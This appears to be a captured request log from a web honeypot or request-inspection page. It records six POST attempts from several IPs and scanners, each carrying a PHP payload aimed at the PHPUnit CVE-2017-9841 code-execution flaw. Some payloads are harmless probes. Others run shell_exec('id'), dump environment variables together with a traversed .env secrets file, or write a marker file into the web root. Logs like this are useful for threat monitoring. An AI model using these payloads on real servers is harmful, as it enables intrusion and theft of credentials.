POST
Sep 24, 2026 07:58:41
Full Details
IP Address
178.16.54.184
User Agent
Go-http-client/1.1
POST Data
{
"<?php_echo_\"---ENV-DUMP---\\n\";_foreach(getenv()_as_$k": ">$v) echo \"$k=$v\\n\"; echo @file_get_contents(dirname(__FILE__).'\/..\/..\/..\/..\/..\/.env'); ?>"
}
Raw Body
<?php echo "---ENV-DUMP---\n"; foreach(getenv() as $k=>$v) echo "$k=$v\n"; echo @file_get_contents(dirname(__FILE__).'/../../../../../.env'); ?>
POST
Sep 18, 2026 11:40:52
Full Details
IP Address
182.253.122.68
User Agent
python-requests/2.32.4
Raw Body
<?php echo '[S]'; echo(shell_exec('id')); echo '[E]'; ?>
POST
Sep 17, 2026 19:23:11
Full Details
IP Address
2a01:239:3a6:1f00::1
User Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 LaraScan/2.3
Raw Body
<?php @file_put_contents('pwned_cve-2017-9841_1789672991.txt', 'VULNERABLE_CVE-2017-9841'); @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/pwned_cve-2017-9841_1789672991.txt', 'VULNERABLE_CVE-2017-9841'); ?>
POST
Sep 07, 2026 02:20:26
Full Details
IP Address
185.177.72.100
User Agent
curl/8.7.1
POST Data
{
"<?php_echo_md5('phpunit_rce');_?>": null
}
Raw Body
<?php echo md5('phpunit_rce'); ?>
POST
Aug 14, 2026 23:21:18
Full Details
IP Address
2406:da18:525:0:a23e:e8f6:3ea1:4c2c
User Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Raw Body
<?php echo 'VULNERABLE_CVE_2017_9841'; ?>
POST
May 16, 2026 00:52:28
Full Details
IP Address
185.177.72.9
User Agent
curl/8.7.1
POST Data
{
"<?php_echo_md5('phpunit_rce');_?>": null
}
Raw Body
<?php echo md5('phpunit_rce'); ?>